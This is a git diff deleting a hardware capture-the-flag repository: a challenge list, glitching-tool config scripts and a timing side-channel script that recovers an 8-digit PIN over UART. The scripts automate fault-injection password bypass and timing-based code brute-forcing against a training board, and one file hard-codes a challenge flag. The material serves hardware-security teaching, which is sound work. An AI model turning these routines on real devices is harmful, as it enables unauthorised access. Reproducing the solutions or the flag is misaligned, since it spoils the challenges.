-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
deleted file mode 100644
index 2671dec..0000000
--- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
+++ /dev/null
@@ -1,7 +0,0 @@
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 31250
-
diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
deleted file mode 100644
index 0ee78c6..0000000
--- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
+++ /dev/null
@@ -1,44 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', True], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-### name, enabled, string to match ###
-conditions = [
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
deleted file mode 100644
index 1185630..0000000
--- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
+++ /dev/null
@@ -1,108 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', False], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- functions.run_output_low(0, 3000)
- functions.run_output_low(1, 3000)
- functions.run_output_low(2, 3000)
- functions.run_output_low(3, 3000)
-
-def button_ok():
- functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
- functions.set_trigger_value(0, True)
- functions.run_output_low(0, 3000)
-
- last_state = functions.get_trigger_value(0)
- start_time = time.time()
-
- while True:
- current_state = functions.get_trigger_value(0)
-
- # Detect rising edge: 0 → 1
- if last_state == 0 and current_state == 1:
- functions.set_trigger_value(0, False)
- functions.add_text("[code check complete]")
- break
-
- # Exit if 1 second has elapsed
- if time.time() - start_time >= 1.0:
- functions.add_text("[timeout: no input detected within 1 second]")
- break
-
- last_state = current_state
- time.sleep(0.01) # Polling interval (10 ms)
-
-
-def button_dash():
- functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(1, 3000)
-
-def button_space():
- functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(2, 3000)
-
-def button_dot():
- functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(3, 3000)
-
-
-def echo_trigger_state():
- for channel in range(8):
- state = functions.get_trigger_value(channel)
- if state == 1:
- functions.add_text(f"Channel {channel}: HIGH")
- else:
- functions.add_text(f"Channel {channel}: LOW")
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
deleted file mode 100644
index 94c453d..0000000
--- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
+++ /dev/null
@@ -1,155 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- """
- Discover a five-digit code by sending candidate pulses and measuring the
- interval from sending OK (pin 8) until input goes HIGH using wait_for().
-
- For each digit:
- - Send one pulse for previously found digits.
- - Send repeated pulses of the candidate digit to fill 5 pulses.
- - Pulse OK (pin 8) to trigger the device.
- - Measure duration using wait_for() for input HIGH.
- - Select candidate with the longest LOW duration before HIGH.
- """
- candidate_pins = [9, 10, 11]
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
-
- button_ok()
- functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- functions.add_text("[INFO] Starting full code discovery sequence...")
-
- for digit_index in range(5):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
- results = {}
-
- for test_pin in candidate_pins:
- # Build sequence: previously found digits + candidate repeated
- sequence = code_sequence.copy()
- remaining_pulses = 5 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)} ...")
-
- # Send sequence pulses (without timing)
- for pin in sequence:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.1)
-
- # Start timer and pulse OK (pin 8)
- start_time = time.time()
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
-
- # Wait for input to go HIGH and measure duration
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Use the Arduino-provided LOW duration, fallback to timer if needed
- duration = result.get("duration_ms", int((end_time - start_time) * 1000))
- functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
-
- results[test_pin] = duration
- time.sleep(0.3)
-
- # Select candidate with longest duration (correct digit)
- correct_pin = max(results, key=results.get)
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
- code_sequence.append(correct_pin)
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
deleted file mode 100644
index 01de69c..0000000
--- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
+++ /dev/null
@@ -1,152 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
-
- functions.add_text("[INFO] Starting full code discovery sequence")
-
- for digit_index in range(4):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
- results = {}
-
- for test_pin in candidate_pins:
- # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
- sequence = code_sequence.copy()
- remaining_pulses = 4 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)}")
-
- # Send all pulses in the sequence, starting timer immediately before the fourth pulse
- for i, pin in enumerate(sequence):
- if i == len(sequence) - 1:
- # Start timer immediately before sending the fourth pulse
- start_time = time.time()
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- # Allow a short interval for the device to react
- time.sleep(0.05)
- # Wait for the input to go HIGH and capture result
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Safely extract duration from result or compute fallback
- if isinstance(result, dict):
- duration = result.get("duration_ms",
- int((end_time - start_time) * 1000))
- else:
- duration = int((end_time - start_time) * 1000)
-
- functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
- results[test_pin] = duration
- else:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- # small pause between candidates
- time.sleep(0.8)
-
- # Choose the candidate with the longest duration for this digit
- correct_pin = max(results, key=results.get)
- code_sequence.append(correct_pin)
-
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
-
-def stop_glitch():
- functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py
deleted file mode 100644
index f7e8036..0000000
--- a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py
+++ /dev/null
@@ -1,123 +0,0 @@
-import functions
-import threading
-import time
-
-###### Config values ######
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 1000000
-UART_NEWLINE = "\n"
-
-LENGTH = 12
-REPEAT = 1
-DELAY = 0
-
-### name, enabled, string to match ###
-conditions = [
- ['run', True, 'Password:', 'try_glitch'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-###### Custom functions ######
-def try_glitch():
- Len = functions.get_config_value("length")
- Rep = functions.get_config_value("repeat")
- Del = functions.get_config_value("delay")
- time.sleep(0.2)
-
- tx_thread = threading.Thread(
- target=functions.send_uart_message,
- args=("aaaaaaaaaaaaaaaaaaaaa",),
- daemon=True
- )
-
- glitch_thread = threading.Thread(
- target=functions.start_glitch,
- args=(Len, Rep, Del),
- daemon=True
- )
-
- glitch_thread.start()
- tx_thread.start()
-
- try:
- current_delay = int(Del)
- except (ValueError, TypeError):
- current_delay = 0
-
- try:
- current_repeat = int(Rep)
- except (ValueError, TypeError):
- current_repeat = 0
-
- new_delay = current_delay + 1
-
- if new_delay >= 51:
- new_delay = 0
- new_repeat = current_repeat + 1
- if new_repeat >= 20:
- new_repeat = 1
- functions.set_config_value("repeat", new_repeat)
-
- functions.set_config_value("delay", new_delay)
-
-
-def stop_glitch():
- buf = functions.read_uart_buffer()
-
- if "TS{D@mn_y0u_@r3_g006}" in buf:
- functions.start_glitch(16, 1, 0)
- else:
- functions.set_condition_value(0, False)
- functions.set_uart_switch(False)
-
-
-###### Inactivity watchdog ######
-def config_inactivity_monitor(timeout=5):
- """
- Monitor 'delay' and 'repeat' configuration values.
- Restart device if they do not change for 'timeout' seconds
- AND condition 0 remains True.
- """
- # Wait for functions.config to be initialised
- while True:
- try:
- _ = functions.get_config_value("delay")
- break
- except AttributeError:
- print("[Watchdog] Waiting for configuration to initialise...")
- time.sleep(1)
-
- last_delay = functions.get_config_value("delay")
- last_repeat = functions.get_config_value("repeat")
- last_change_time = time.time()
-
- while True:
- try:
- current_delay = functions.get_config_value("delay")
- current_repeat = functions.get_config_value("repeat")
- condition_active = functions.get_condition_value(0)
-
- if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
- last_change_time = time.time()
- last_delay = current_delay
- last_repeat = current_repeat
-
- if condition_active and (time.time() - last_change_time > timeout):
- print("[Watchdog] Inactivity detected. Restarting glitch...")
- functions.start_glitch(16, 1, 0)
- last_change_time = time.time()
-
- except Exception as e:
- print(f"[Watchdog Error] {e}")
-
- time.sleep(1)
-
-
-# Start watchdog thread after slight delay to allow initialisation
-def start_watchdog():
- time.sleep(2) # ensures 'functions.config' is ready
- monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
- monitor_thread.start()
-
-
-threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/Misc/12Sec_CTF_V1/docs/12_solution.py b/Misc/12Sec_CTF_V1/docs/12_solution.py
deleted file mode 100644
index c5188aa..0000000
--- a/Misc/12Sec_CTF_V1/docs/12_solution.py
+++ /dev/null
@@ -1,274 +0,0 @@
-#!/usr/bin/env python3
-"""
-=====================================================================
-UART Timing Analysis PIN Discovery Script (configurable start)
-=====================================================================
-Performs timing-based side-channel analysis to discover an 8-digit PIN
-via UART, using the Arduino I/O controller for synchronised monitoring.
-
-This variant allows pre-setting a starting code (prefix) and the
-starting position index so that discovery may resume part-way through.
-Version: 1.3
-=====================================================================
-"""
-
-import time
-import serial
-from arduinIO import ArduinoController
-
-# ================================================================
-# Configuration
-# ================================================================
-
-###### UART Configuration ######
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 1199
-UART_NEWLINE = "\n"
-
-###### Arduino I/O Configuration ######
-ARDIO_PORT = "/dev/ttyACM0"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-
-###### Analysis Parameters ######
-PIN_LENGTH = 8
-KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
-PAD_CHAR = 'A'
-ATTEMPTS_PER_CANDIDATE = 1
-
-# Optionally set a starting prefix and a starting position.
-# START_CODE is the known prefix (string). It may be empty.
-# START_POS is the zero-based index at which to begin discovery.
-# Example: START_CODE = "253", START_POS = 3 will begin at position 4.
-START_CODE = "" # e.g. "253"
-START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE).
-
-###### Delay Configuration (seconds) ######
-INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate
-SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input
-POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position
-MAX_WAIT_MS = 800 # Maximum wait for input response
-MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms)
-
-# ================================================================
-# Helper Functions
-# ================================================================
-
-def log(msg: str, level: str = "INFO"):
- """Structured log output with level labels."""
- prefix = {
- "INFO": "\033[94m[INFO]\033[0m",
- "TEST": "\033[93m[TEST]\033[0m",
- "ATTEMPT": "\033[90m[ATTEMPT]\033[0m",
- "RESULT": "\033[92m[RESULT]\033[0m",
- "ERROR": "\033[91m[ERROR]\033[0m",
- "SUCCESS": "\033[96m[SUCCESS]\033[0m"
- }.get(level, "[LOG]")
- print(f"{prefix} {msg}")
-
-
-def send_uart_message(ser, message: str):
- """Send full message to UART target."""
- if not message.endswith(UART_NEWLINE):
- message += UART_NEWLINE
- ser.write(message.encode("utf-8"))
- ser.flush()
-
-
-def validate_start_settings():
- """Validate START_CODE and START_POS consistency and bounds."""
- if not isinstance(START_CODE, str):
- raise ValueError("START_CODE must be a string.")
- if not isinstance(START_POS, int):
- raise ValueError("START_POS must be an integer.")
- if len(START_CODE) != START_POS:
- raise ValueError("Length of START_CODE must equal START_POS.")
- if START_POS < 0 or START_POS > PIN_LENGTH:
- raise ValueError("START_POS out of valid range.")
- if len(START_CODE) > PIN_LENGTH:
- raise ValueError("START_CODE longer than PIN_LENGTH.")
-
-
-# ================================================================
-# PIN Discovery Logic
-# ================================================================
-
-def find_code(ser, arduino):
- """
- Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW.
-
- Important: no UART reading occurs during the timed interval. UART is only
- drained before sending (to remove stale lines) and immediately after the
- timing measurement completes. This avoids introducing extra delay into
- the critical timing path.
- """
-
- validate_start_settings()
- log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO")
-
- discovered = START_CODE
- start_pos = START_POS
-
- remaining_positions = PIN_LENGTH - start_pos
- if remaining_positions <= 0:
- log(f"No positions to discover. Current code: {discovered}", "INFO")
- return discovered
-
- total_candidates = len(KEYSPACE)
- total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE
- eta_start = time.time()
- attempts_done = 0
-
- for pos in range(start_pos, PIN_LENGTH):
- human_pos = pos + 1
- log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO")
- timings = {}
-
- # Upper bound grows with each identified position (relative index)
- relative_index = pos - start_pos
- upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20
-
- for idx, candidate in enumerate(KEYSPACE):
- candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1))
- durations = []
-
- for attempt in range(ATTEMPTS_PER_CANDIDATE):
- # Best-effort non-blocking drain of stale UART lines BEFORE sending
- try:
- while ser.in_waiting:
- _ = ser.readline() # discard
- except Exception:
- pass
-
- # Clear any previous short event records on Arduino
- try:
- arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1)
- except Exception:
- pass
-
- # Start timing immediately before send (critical interval begins)
- t_start = time.time()
- send_uart_message(ser, candidate_pin + UART_NEWLINE)
-
- # short settle after send (does not affect measurement start)
- time.sleep(SEND_SETTLE_DELAY)
-
- # Perform event-based capture (no UART reads here)
- dur_ms = 0
- try:
- events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS)
- except Exception:
- events = []
-
- if events:
- low_event = next((ev for ev in events if ev.get("state") == "LOW"), None)
- if low_event:
- dur_ms = low_event.get("duration_ms", 0)
-
- # Fallback blocking wait_if_no_event (still no UART reads)
- if dur_ms == 0:
- try:
- result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW")
- t_end = time.time()
- if isinstance(result, dict):
- dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000))
- else:
- dur_ms = int((t_end - t_start) * 1000)
- except Exception:
- dur_ms = 0
-
- # Immediately after measurement, drain UART non-blocking and check for success
- try:
- while ser.in_waiting:
- line = ser.readline().decode(errors='ignore').strip()
- if line and line.startswith("TS{"):
- # Found success; append this candidate and return the discovered code
- discovered += candidate
- log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS")
- return discovered
- except Exception:
- # ignore serial read errors and continue
- pass
-
- # Only include durations that lie within the allowed window
- if 600 <= dur_ms <= upper_bound:
- durations.append(dur_ms)
-
- # Update ETA (safe to compute outside critical interval)
- attempts_done += 1
- elapsed = time.time() - eta_start
- avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0
- remaining_attempts = total_attempts - attempts_done
- eta_remaining = remaining_attempts * avg_time_per_attempt
- eta_min, eta_sec = divmod(int(eta_remaining), 60)
-
- # Overwrite attempt line
- print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True)
-
- time.sleep(INTER_ATTEMPT_DELAY)
-
- # newline after candidate block
- #print()
-
- # Compute average using only valid durations
- avg_duration = (sum(durations) / len(durations)) if durations else 0.0
- timings[candidate] = avg_duration
- print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True)
- print()
-
- # Select best candidate (largest average); fallback to '0' if none valid
- if any(v > 0 for v in timings.values()):
- selected = max(timings, key=timings.get)
- else:
- selected = '0'
-
- discovered += selected
- log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO")
-
- # Progress display
- print(f"\n ┌───────────────────────────────┐")
- print(f" │ Progress: {discovered:<8} │")
- print(f" └───────────────────────────────┘\n")
-
- # Optional settle between positions; keep minimal if timing-sensitive
- if POSITION_SETTLE_DELAY:
- time.sleep(POSITION_SETTLE_DELAY)
-
- log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS")
- return discovered
-
-
-
-# ================================================================
-# Main Execution
-# ================================================================
-
-def main():
- log("Initialising Arduino controller...", "INFO")
- arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
- arduino.connect()
- version = arduino.get_version()
- log(f"Connected to Arduino firmware {version}", "INFO")
-
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO")
-
- log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO")
- ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1)
- log("UART connection established", "INFO")
-
- try:
- pin = find_code(ser, arduino)
- log(f"Discovered PIN: {pin}", "SUCCESS")
- except KeyboardInterrupt:
- log("Process interrupted by user", "ERROR")
- except Exception as e:
- log(f"Unexpected error: {e}", "ERROR")
- finally:
- ser.close()
- arduino.disconnect()
- log("Connections closed", "INFO")
-
-
-if __name__ == "__main__":
- main()
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
